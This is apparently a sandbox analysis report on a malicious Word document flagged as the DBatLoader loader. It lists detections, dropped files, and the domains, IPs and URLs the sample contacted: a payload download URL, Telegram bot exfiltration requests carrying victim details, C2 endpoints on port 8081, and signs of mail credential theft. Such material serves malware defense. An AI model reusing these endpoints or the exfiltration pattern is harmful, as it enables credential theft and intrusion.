conhost.exe 29->39         started        file10 signatures11 process12 dnsIp13 63 mail.techniqueqatar.com 208.91.198.176, 49989, 50037, 50048 PUBLIC-DOMAIN-REGISTRYUS United States 31->63 65 checkip.dyndns.com 132.226.8.169, 49733, 49807, 49813 UTMEMUS United States 31->65 67 2 other IPs or domains 31->67 69 Detected unpacking (changes PE section rights) 31->69 71 Detected unpacking (overwrites its own PE header) 31->71 73 Tries to steal Mail credentials (via file / registry access) 31->73 41 conhost.exe 35->41         started        signatures14 process15

          Screenshots

          Thumbnails

          This section contains all screenshots as thumbnails, including those not shown in the slideshow.


          windows-stand

          Antivirus, Machine Learning and Genetic Malware Detection

          Initial Sample

          SourceDetectionScannerLabelLink
          ENQ-0092025.doc58%ReversingLabsWin32.Exploit.DBatLoader
          ENQ-0092025.doc100%AviraW97M/Agent.5915124
          ENQ-0092025.doc100%Joe Sandbox ML

          Dropped Files

          SourceDetectionScannerLabelLink
          C:\Users\Public\Libraries\jphwmyiA.pif3%ReversingLabs

          Unpacked PE Files

          ⊘No Antivirus matches

          Domains

          ⊘No Antivirus matches

          URLs

          SourceDetectionScannerLabelLink
          http://amazonenviro.com:80/245_Aiymwhpjxsg0%Avira URL Cloudsafe
          http://amazonenviro.com/0%Avira URL Cloudsafe
          http://amazonenviro.com/245_Aiymwhpjxsg0%Avira URL Cloudsafe
          http://crt.sectig0%Avira URL Cloudsafe

          Domains and IPs

          Contacted Domains

          NameIPActiveMaliciousAntivirus DetectionReputation
          reallyfreegeoip.org
          		188.114.97.3
          		truefalse
            		high
            mail.techniqueqatar.com
            		208.91.198.176
            		truetrue
              		unknown
              amazonenviro.com
              		166.62.27.188
              		truetrue
                		unknown
                api.telegram.org
                		149.154.167.220
                		truefalse
                  		high
                  checkip.dyndns.com
                  		132.226.8.169
                  		truefalse
                    		high
                    checkip.dyndns.org
                    		unknown
                    		unknownfalse
                      		high

                      Contacted URLs

                      NameMaliciousAntivirus DetectionReputation
                      https://reallyfreegeoip.org/xml/8.46.123.189false
                        		high
                        http://amazonenviro.com/245_Aiymwhpjxsgtrue
                        • Avira URL Cloud: safe
                        		unknown
                        https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:405464%0D%0ADate%20and%20Time:%2007/01/2025%20/%2023:15:16%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20405464%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5Dfalse
                          		high
                          https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:405464%0D%0ADate%20and%20Time:%2007/01/2025%20/%2022:17:56%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20405464%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5Dfalse
                            		high
                            https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:405464%0D%0ADate%20and%20Time:%2007/01/2025%20/%2021:58:11%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20405464%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5Dfalse
                              		high
                              http://checkip.dyndns.org/false
                                		high

                                URLs from Memory and Binaries

                                NameSourceMaliciousAntivirus DetectionReputation
                                http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0brightness.exe, 00000008.00000002.2228361462.0000000020510000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000003.2200013988.0000000000874000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2230547224.00000000213AA000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2232389580.000000007F0CF000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000003.2199559053.000000007F3E0000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2330274971.0000000002460000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000003.2318831229.00000000006DE000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2359054584.0000000021030000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2330274971.0000000002534000.00000004.00001000.00020000.00000000.sdmpfalse
                                  		high
                                  https://www.office.com/jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026283000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3444167534.000000001A55B000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3444524206.000000002A4CD000.00000004.00000800.00020000.00000000.sdmpfalse
                                    		high
                                    http://crt.sectigo.com/SectigoRSADomainValidationSecureServerCA.crt0#jphwmyiA.pif, 0000000C.00000002.3451586724.0000000028909000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026283000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000002.3451586724.000000002893C000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3444167534.000000001A55B000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3452191252.000000001D6AF000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000003.2732557349.000000002D31A000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3444524206.000000002A4CD000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000003.2732597157.000000002D340000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3452062242.000000002D2A0000.00000004.00000020.00020000.00000000.sdmpfalse
                                      		high
                                      https://duckduckgo.com/chrome_newtabjphwmyiA.pif, 0000000C.00000002.3446215142.00000000274A2000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3446431807.000000001B722000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3446220044.000000002B693000.00000004.00000800.00020000.00000000.sdmpfalse
                                        		high
                                        https://duckduckgo.com/ac/?q=jphwmyiA.pif, 0000000C.00000002.3446215142.00000000274A2000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3446431807.000000001B722000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3446220044.000000002B693000.00000004.00000800.00020000.00000000.sdmpfalse
                                          		high
                                          https://sectigo.com/CPS0brightness.exe, 00000008.00000002.2228361462.0000000020510000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000003.2200013988.0000000000874000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2230547224.00000000213AA000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2232389580.000000007F0CF000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000003.2199559053.000000007F3E0000.00000004.00001000.00020000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000002.3451586724.0000000028909000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026283000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000002.3451586724.000000002893C000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2330274971.0000000002460000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000003.2318831229.00000000006DE000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2359054584.0000000021030000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2330274971.0000000002534000.00000004.00001000.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3444167534.000000001A55B000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3452191252.000000001D6AF000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000003.2732557349.000000002D31A000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3444524206.000000002A4CD000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000003.2732597157.000000002D340000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3452062242.000000002D2A0000.00000004.00000020.00020000.00000000.sdmpfalse
                                            		high
                                            https://api.telegram.orgjphwmyiA.pif, 0000000C.00000002.3444740302.0000000026283000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3444167534.000000001A536000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3444524206.000000002A4A9000.00000004.00000800.00020000.00000000.sdmpfalse
                                              		high
                                              https://www.google.com/images/branding/product/ico/googleg_lodp.icojphwmyiA.pif, 0000000C.00000002.3446215142.00000000274A2000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3446431807.000000001B722000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3446220044.000000002B693000.00000004.00000800.00020000.00000000.sdmpfalse
                                                		high
                                                http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0brightness.exe, 00000008.00000002.2228361462.0000000020510000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000003.2200013988.0000000000874000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2230547224.00000000213AA000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2232389580.000000007F0CF000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000003.2199559053.000000007F3E0000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2330274971.0000000002460000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000003.2318831229.00000000006DE000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2359054584.0000000021030000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2330274971.0000000002534000.00000004.00001000.00020000.00000000.sdmpfalse
                                                  		high
                                                  http://crt.sectigjphwmyiA.pif, 00000014.00000003.2732557349.000000002D31A000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000003.2732597157.000000002D340000.00000004.00000020.00020000.00000000.sdmpfalse
                                                  • Avira URL Cloud: safe
                                                  		unknown
                                                  http://ocsp.sectigo.com0jphwmyiA.pif, 00000014.00000003.2732597157.000000002D340000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3452062242.000000002D2A0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                    		high
                                                    https://api.telegram.org/botjphwmyiA.pif, 0000000C.00000003.2210977844.0000000024507000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000002.3443379570.0000000025EE9000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026283000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000002.3450918250.0000000028730000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000002.3452644011.0000000028FC0000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3451247424.000000001CB10000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3451626441.000000001D140000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3443379993.000000001A199000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000003.2330033359.00000000187DC000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3444167534.000000001A536000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3441954113.0000000029FF9000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3451706486.000000002D020000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3444524206.000000002A4A9000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000003.2406157824.00000000283ED000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3450696077.000000002C9B0000.00000004.08000000.00040000.00000000.sdmpfalse
                                                      		high
                                                      http://amazonenviro.com/brightness.exe, 00000008.00000002.2212129795.000000000080E000.00000004.00000020.00020000.00000000.sdmptrue
                                                      • Avira URL Cloud: safe
                                                      		unknown
                                                      http://amazonenviro.com:80/245_Aiymwhpjxsgbrightness.exe, 00000008.00000002.2212129795.0000000000855000.00000004.00000020.00020000.00000000.sdmpfalse
                                                      • Avira URL Cloud: safe
                                                      		unknown
                                                      http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#brightness.exe, 00000008.00000002.2228361462.0000000020510000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000003.2200013988.0000000000874000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2230547224.00000000213AA000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2232389580.000000007F0CF000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000003.2199559053.000000007F3E0000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2330274971.0000000002460000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000003.2318831229.00000000006DE000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2359054584.0000000021030000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2330274971.0000000002534000.00000004.00001000.00020000.00000000.sdmpfalse
                                                        		high
                                                        https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=jphwmyiA.pif, 0000000C.00000002.3446215142.00000000274A2000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3446431807.000000001B722000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3446220044.000000002B693000.00000004.00000800.00020000.00000000.sdmpfalse
                                                          		high
                                                          http://checkip.dyndns.orgjphwmyiA.pif, 00000010.00000002.3444167534.000000001A451000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3444524206.000000002A3C1000.00000004.00000800.00020000.00000000.sdmpfalse
                                                            		high
                                                            https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=jphwmyiA.pif, 0000000C.00000002.3446215142.00000000274A2000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3446431807.000000001B722000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3446220044.000000002B693000.00000004.00000800.00020000.00000000.sdmpfalse
                                                              		high
                                                              http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#brightness.exe, 00000008.00000002.2228361462.0000000020510000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000003.2200013988.0000000000874000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2230547224.00000000213AA000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2232389580.000000007F0CF000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000003.2199559053.000000007F3E0000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2330274971.0000000002460000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000003.2318831229.00000000006DE000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2359054584.0000000021030000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2330274971.0000000002534000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                		high
                                                                https://api.telegram.org/bot/sendMessage?chat_id=&text=jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026283000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3444167534.000000001A536000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3444524206.000000002A4A9000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                  		high
                                                                  https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:405464%0D%0ADate%20ajphwmyiA.pif, 0000000C.00000002.3444740302.0000000026283000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3444167534.000000001A536000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3444524206.000000002A4A9000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                    		high
                                                                    https://chrome.google.com/webstore?hl=enjphwmyiA.pif, 0000000C.00000002.3444740302.0000000026283000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3444167534.000000001A55B000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3444524206.000000002A4CD000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                      		high
                                                                      https://www.ecosia.org/newtab/jphwmyiA.pif, 0000000C.00000002.3446215142.00000000274A2000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3446431807.000000001B722000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3446220044.000000002B693000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                        		high
                                                                        http://varders.kozow.com:8081jphwmyiA.pif, 0000000C.00000003.2210977844.0000000024507000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000002.3443379570.0000000025EE9000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000002.3444740302.00000000261D1000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000002.3450918250.0000000028730000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000002.3452644011.0000000028FC0000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3451247424.000000001CB10000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3444167534.000000001A451000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3451626441.000000001D140000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3443379993.000000001A199000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000003.2330033359.00000000187DC000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3441954113.0000000029FF9000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3451706486.000000002D020000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000014.00000003.2406157824.00000000283ED000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3450696077.000000002C9B0000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3444524206.000000002A3C1000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                          		high
                                                                          http://aborters.duckdns.org:8081jphwmyiA.pif, 0000000C.00000003.2210977844.0000000024507000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000002.3443379570.0000000025EE9000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000002.3444740302.00000000261D1000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000002.3450918250.0000000028730000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000002.3452644011.0000000028FC0000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3451247424.000000001CB10000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3444167534.000000001A451000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3451626441.000000001D140000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3443379993.000000001A199000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000003.2330033359.00000000187DC000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3441954113.0000000029FF9000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3451706486.000000002D020000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000014.00000003.2406157824.00000000283ED000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3450696077.000000002C9B0000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3444524206.000000002A3C1000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                            		high
                                                                            https://ac.ecosia.org/autocomplete?q=jphwmyiA.pif, 0000000C.00000002.3446215142.00000000274A2000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3446431807.000000001B722000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3446220044.000000002B693000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                              		high
                                                                              http://51.38.247.67:8081/_send_.php?LjphwmyiA.pif, 0000000C.00000002.3444740302.0000000026283000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3444167534.000000001A55B000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3444524206.000000002A4CD000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                		high
                                                                                http://anotherarmy.dns.army:8081jphwmyiA.pif, 0000000C.00000003.2210977844.0000000024507000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000002.3443379570.0000000025EE9000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000002.3444740302.00000000261D1000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000002.3450918250.0000000028730000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000002.3452644011.0000000028FC0000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3451247424.000000001CB10000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3444167534.000000001A451000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3451626441.000000001D140000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3443379993.000000001A199000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000003.2330033359.00000000187DC000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3441954113.0000000029FF9000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3451706486.000000002D020000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000014.00000003.2406157824.00000000283ED000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3450696077.000000002C9B0000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3444524206.000000002A3C1000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                  		high
                                                                                  https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/searchjphwmyiA.pif, 0000000C.00000002.3446215142.00000000274A2000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3446431807.000000001B722000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3446220044.000000002B693000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                    		high
                                                                                    http://checkip.dyndns.org/qjphwmyiA.pif, 0000000C.00000003.2210977844.0000000024507000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000002.3443379570.0000000025EE9000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000002.3450918250.0000000028730000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000002.3452644011.0000000028FC0000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3451247424.000000001CB10000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3451626441.000000001D140000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3443379993.000000001A199000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000003.2330033359.00000000187DC000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3441954113.0000000029FF9000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3451706486.000000002D020000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000014.00000003.2406157824.00000000283ED000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3450696077.000000002C9B0000.00000004.08000000.00040000.00000000.sdmpfalse
                                                                                      		high
                                                                                      https://reallyfreegeoip.org/xml/8.46.123.189$jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026283000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3444167534.000000001A4BD000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3444167534.000000001A503000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3444167534.000000001A50E000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3444167534.000000001A536000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3444524206.000000002A482000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3444524206.000000002A4A9000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3444524206.000000002A43C000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                        		high
                                                                                        https://reallyfreegeoip.orgjphwmyiA.pif, 0000000C.00000002.3444740302.0000000026283000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3444167534.000000001A503000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3444167534.000000001A50E000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3444167534.000000001A451000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3444167534.000000001A536000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3444524206.000000002A413000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3444524206.000000002A482000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3444524206.000000002A4A9000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                          		high
                                                                                          http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namejphwmyiA.pif, 0000000C.00000002.3444740302.00000000261D1000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3444167534.000000001A451000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3444524206.000000002A3C1000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                            		high
                                                                                            https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=jphwmyiA.pif, 0000000C.00000002.3446215142.00000000274A2000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3446431807.000000001B722000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3446220044.000000002B693000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                              		high
                                                                                              http://ocsp.sectigo.com0Cbrightness.exe, 00000008.00000002.2228361462.0000000020510000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000003.2200013988.0000000000874000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2230547224.00000000213AA000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2232389580.000000007F0CF000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000003.2199559053.000000007F3E0000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2330274971.0000000002460000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000003.2318831229.00000000006DE000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2359054584.0000000021030000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2330274971.0000000002534000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                		high
                                                                                                https://reallyfreegeoip.org/xml/8.46.123.1894jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026283000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                  		high
